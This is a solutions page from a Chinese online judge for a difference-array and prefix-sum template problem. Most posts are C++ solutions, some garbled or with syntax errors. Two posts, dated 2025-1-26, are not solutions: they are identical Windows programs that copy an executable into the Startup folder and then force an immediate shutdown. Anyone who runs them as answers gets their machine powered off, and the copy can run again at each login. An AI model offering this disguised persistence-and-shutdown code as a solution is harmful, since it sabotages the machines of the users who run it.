15 条题解

  • 13
    @ 2025-1-26 10:59:44 
    #include <bits/stdc++.h>
using namespace std;
const int N =1e6+10;
int n,m,k,l,r,z;
int a[N],sum[N],cf[N];
int main()
{
	cin >> n >> m >> k;
	for(int i=1;i<=n;i++)
	{
		cin >> a[i];
		cf[i]=a[i]-a[i-1];
	}
	while(m--)
	{
		cin >> l >> r >> z;
		cf[l]+=z;
		cf[r+1]-=z;
	}
	for(int i=1;i<=n;i++)
	{
		a[i]=a[i-1]+cf[i];
	}
	for(int i=1;i<=n;i++)
	{
		sum[i]=sum[i-1]+a[i];
	}
	while(k--)
	{
		cin >> l >> r;
		cout << sum[r]-sum[l-1] << endl;
	}
	return 0;
}
//ts2024stu008~~~~~

    有标志认证，属三无产品，请大家放心食用

  • 7
    @ 2025-1-26 10:58:02 
    #include<iomanip> 
#include<cstdio> 
#include<cmath> 
#include<cstring> 
const int N=1e7+10;
const int INF=0x3f3f3f3f;
int n,m,l,r,a[N],sum[N],cf[N],k,z;
using namespace std;
int main()
{
	cin>>n>>m>>k;
	for(int i=1;i<=n;i++)
	{
		cin>>a[i];
		cf[i]=a[i]-a[i-1];
	}
	while(m--)
	{
		cin>>l>>r>>z;
		cf[l]+=z;
		cf[r+1]-=z;
	}
	for(int i=1;i<=n;i++)
	{
		a[i]=a[i-1]+cf[i];
	}
	for(int i=1;i<=n;i++)
	{
		sum[i]=sum[i-1]+a[i];
	}
	while(k--)
	{
		cin>>l>>r;
		cout<<sum[r]-sum[l-1]<<endl;
	}
	return 0；
}
  • 2
    @ 2025-1-26 11:08:26 
    #include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}
    • 0
      @ 2025-1-26 11:07:33 
      #include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}
      • 0
        @ 2024-10-22 17:17:56 
        #include<bits/stdc++.h>
using namespace std;
const int N = 1e6 + 10;
const int INF = 0x3f3f3f3f;
long long cf[N] , a[N], s[N];
int main()
{
	int l,r,z,n,m,q;
	cin>>n>>m>>q;
	for(int i=1;i<=n;i++){
		cin>>a[i];
		cf[i]=a[i]-a[i-1];
	}
	while(m--){
		cin>>l>>r>>z;
		cf[l]+=z;
		cf[r+1]-=z;
	}
	for(int i=1;i<=n;i++){
		a[i]=a[i-1]+cf[i];
		s[i]=s[i-1]+a[i];
	}
	while(q--){
		cin>>l>>r;
		cout<<s[r]-s[l-1]<<endl;
	}
	

	return 0;
}

        南风北庙 (slz罗栎晟) 一定会网络攻击我

        • 0
          @ 2024-10-22 17:17:39

          最简代码

          #include<bits/stdc++.h>
using namespace std;
const int N=1e6+10;
int n,m,k,A[N],C[N],l,r,c,Q[N];
int main()
{
	cin>>n>>m>>k;
	for(int i=1;i<=n;i++){
		cin>>A[i];
		C[i]=A[i]-A[i-1];
	}
	for(int i=1;i<=m;i++){
		cin>>l>>r>>c;
		C[l]+=c;
		C[r+1]-=c;
	}
	for(int i=1;i<=n;i++){
		A[i]=C[i]+A[i-1];
		Q[i]=A[i]+Q[i-1];
	}
	for(int i=1;i<=k;i++){
		cin>>l>>r;
		cout<<Q[r]-Q[l-1]<<endl;
	}
	return 0;
}
          • 0
            @ 2024-7-24 10:47:58

            #include<bits/stdc++.h>

            //#define int long long

            using namespace std;

            const int N = 1e6 +10;

            const int INF=0x3f3f3f;

            int n,m,z,l,r,c,a[N],b[N],d[N];

            int main(){

            cin>>n>>m>>z;

for(int i = 1;i<=n;i++){

    cin>>a[i];

    b[i] = a[i]- a[i-1];

            }

            for(int i = 1;i<=m;i++){

    cin>>l>>r>>c;

    b[l]+=c;

    b[r+1]-=c;

            }

            for(int i = 1;i<=n;i++){

    a[i] = b[i]+a[i-1];

    d[i] = d[i-1]+a[i];

            }

            while(z--){

    cin>>l>>r;

    cout<<d[r]-d[l-1]<<endl;

}

return 0;

            }

            • -1
              @ 2023-11-8 19:59:56 
              #include <queue>
#include <math.h>
#include <stack>
#include <stdio.h>
#include <iostream>
#include <vector>
#include <iomanip>
#include <string.h>
#include <algorithm>
using namespace std;
#define LL long long
const int N = 1e6 + 10;
const int INF = 0x3f3f3f3f;
int a[N];
int ans[N];
int main()
{
	int n , m , k;
	cin >> n >> m >> k;
	for(int i = 1 ; i <= n ; i++)
	{
		cin >> a[i];
		ans[i] = a[i] - a[i-1];
	}
	

	while(m--)
	{
		int l,r,num;
		cin >> l >> r >> num;
		ans[l]+= num;
		ans[r+1] -= num;
	}
	for(int i = 1 ; i <= n ; i++)
		ans[i] += ans[i-1];
	for(int i = 1 ; i <= n ; i++)
		ans[i] += ans[i-1];
	while(k--)
	{
		int l , r;
		cin >> l >> r;
		cout << ans[r] - ans[l-1] << endl;
	}
	return 0; 
}
              • -1
                @ 2023-4-30 15:43:28 
                #include <math.h>
#include <stack>
#include <stdio.h>
#include <iostream>
#include <vector>
#include <iomanip>
#include <string.h>
#include <algorithm>
using namespace std;
#define LL long long
const int N = 1e6 + 10;
const int INF = 0x3f3f3f3f;
int a[N],ans[N], l,r,c;
int main(){
	int n,m,k;
	cin >> n >> m >>k;
	for (int i=1; i<=n; i++){
		cin >> a[i];
		ans[i]=a[i]-a[i-1];
	}
	while(m--){
		
		cin >>l >>r >>c;
		ans[l]+=c;
		ans[r+1]-=c;
	}
	
	for (int i=1; i<=n; i++){
		ans[i]+=ans[i-1];
	}
	for (int i=1; i<=n; i++){
		ans[i]+=ans[i-1];
	}
	while(k--){
		
		cin >> l >> r;
		cout << ans[r]-ans[l-1] << endl;
	} 
	
	return 0;
}
                • -1
                  @ 2023-3-12 15:43:42 
                  /*********************************

*********************************/
#include<bits/stdc++.h>
using namespace std;
int n,m,a[1000005],f[1000005],k,l,r,x;
int main()
{    
    cin>>n>>m>>k;
    for(int i=1;i<=n;i++) {
    	cin>>a[i];
	}
	while(m--) {
		cin>>l>>r>>x;
		f[l]+=x;
		f[r+1]-=x;
	}
	for(int i=1;i<=n;i++) {
		f[i]+=f[i-1];
//		cout<<f[i]<<" ";
	}
//	puts("");
	for(int i=1;i<=n;i++) {
		f[i]+=a[i];
//		cout<<f[i]<<" ";
	}
//	puts("");
for(int i=1;i<=n;i++) {
		f[i]+=f[i-1];
//		cout<<f[i]<<" ";
	}
//	puts("");
	while(k--) {
		cin>>l>>r;
		cout<<f[r]-f[l-1]<<"\n";
	}
    return 0;
}
/*
1 2 3 4 5
0 0 0 0 0
1 0 -1 0 0
1 0 1 0 -2
2 3 4 5 5
*/
                  • -2
                    @ 2023-11-15 18:34:14

                    #include<bits/stdc++.h>

                    using namespace std;

                    const int N = 1e6 + 10;

                    const int INF = 0x3f3f3f3f;

                    int a[N]; int ans[N]; int main() { int n , m , k; cin >> n >> m >> k; for(int i = 1 ; i <= n ; i++) { cin >> a[i]; ans[i] = a[i] - a[i-1]; }

                    while(m--)
{
	int l,r,num;
	cin >> l >> r >> num;
	ans[l]+= num;
	ans[r+1] -= num;
}
for(int i = 1 ; i <= n ; i++)
	ans[i] += ans[i-1];
for(int i = 1 ; i <= n ; i++)
	ans[i] += ans[i-1];
while(k--)
{
	int l , r;
	cin >> l >> r;
	cout << ans[r] - ans[l-1] << endl;
}
return 0;

                    }

                    • -2
                      @ 2021-12-18 20:03:13 
                      /*****************************************

******************************************/
#include <queue>
#include <math.h>
#include <stack>
#include <stdio.h>
#include <iostream>
#include <vector>
#include <iomanip>
#include <string.h>
#include <algorithm>
using namespace std;
#define LL long long
const int N = 1e6 + 10;
const int INF = 0x3f3f3f3f;
int a[N];
int ans[N];
int main()
{
	int n , m , k;
	cin >> n >> m >> k;
	for(int i = 1 ; i <= n ; i++)
	{
		cin >> a[i];
		ans[i] = a[i] - a[i-1];
	}
	

	while(m--)
	{
		int l,r,num;
		cin >> l >> r >> num;
		ans[l]+= num;
		ans[r+1] -= num;
	}
	for(int i = 1 ; i <= n ; i++)
		ans[i] += ans[i-1];
	for(int i = 1 ; i <= n ; i++)
		ans[i] += ans[i-1];
	while(k--)
	{
		int l , r;
		cin >> l >> r;
		cout << ans[r] - ans[l-1] << endl;
	}
	return 0; 
}
                      • -2
                        @ 2021-11-20 17:01:19 
                        #include<iostream>
using namespace std;
int n,m,k,acc[1000006],cf[1000006],l,r,c,qz[1000006];
int main()
{
	scanf("%d%d%d",&n,&m,&k);
	for(int i=1;i<=n;i++)
	{
		scanf("%d",&acc[i]);
		cf[i]=acc[i]-acc[i-1];
	}
	for(int i=1;i<=m;i++)
	{
		scanf("%d%d%d",&l,&r,&c);
		cf[l]+=c;
		cf[r+1]-=c;
	}
	for(int i=1;i<=n;i++)
	{
		acc[i]=cf[i]+acc[i-1];
	}
	for(int i=1;i<=n;i++)
	{
		qz[i]=acc[i]+qz[i-1];
	}
	for(int i=1;i<=k;i++)
	{
		scanf("%d%d",&l,&r);
		printf("%d\n",qz[r]-qz[l-1]);
	}
	
	return 0;
}
                        • -4
                          @ 2023-11-15 18:04:14

                          #include #include <math.h> #include #include <stdio.h> #include #include #include #include <string.h> #include using namespace std; #define LL long long const int N = 1e6 + 10; const int INF = 0x3f3f3f3f; int a[N]; int ans[N]; int main() { int n , m , k; cin >> n >> m >> k; for(int i = 1 ; i <= n ; i++) { cin >> a[i]; ans[i] = a[i] - a[i-1]; }

                          while(m--)
{
	int l,r,num;
	cin >> l >> r >> num;
	ans[l]+= num;
	ans[r+1] -= num;
}
for(int i = 1 ; i <= n ; i++)
	ans[i] += ans[i-1];
for(int i = 1 ; i <= n ; i++)
	ans[i] += ans[i-1];
while(k--)
{
	int l , r;
	cin >> l >> r;
	cout << ans[r] - ans[l-1] << endl;
}
return 0;

                          }

                          • -8
                            @ 2022-9-26 16:35:30

                            #include using namespace std; int n,m,k,l,r,c,a[1000005],b[1000005]; int main(){ cin>>n>>m>>k; for(int i=1;i<=n;i++){ cin>>a[i]; b[i]=a[i]-a[i-1]; //构造差分数组 } for(int i=1;i<=m;i++){ cin>>l>>r>>c; b[l]+=c; b[r+1]-=c; } for(int i=1;i<=n;i++){ a[i]=b[i]+a[i-1]; //恢复原数组（加数后） b[i]=a[i]+b[i-1]; //构造前缀和数组 } for(int i=1;i<=k;i++){ cin>>l>>r; cout<<b[r]-b[l-1]<<endl;// 应用前缀和 } }

                            • 1

                            差分数组模板

                            信息

                            ID
                            1282
                            时间
                            1000ms
                            内存
                            256MiB
                            难度
                            6
                            标签
                            递交数
                            692
                            已通过
                            222
                            上传者
                            1. 关于
                            2. 联系我们
                            3. 隐私
                            4. 服务条款
                            5. 版权申诉
                            6. Language
                            7. 兼容模式
                            8. 主题
                            3. Worker 0, 101ms
                            4. Powered by Hydro v4.19.1 Community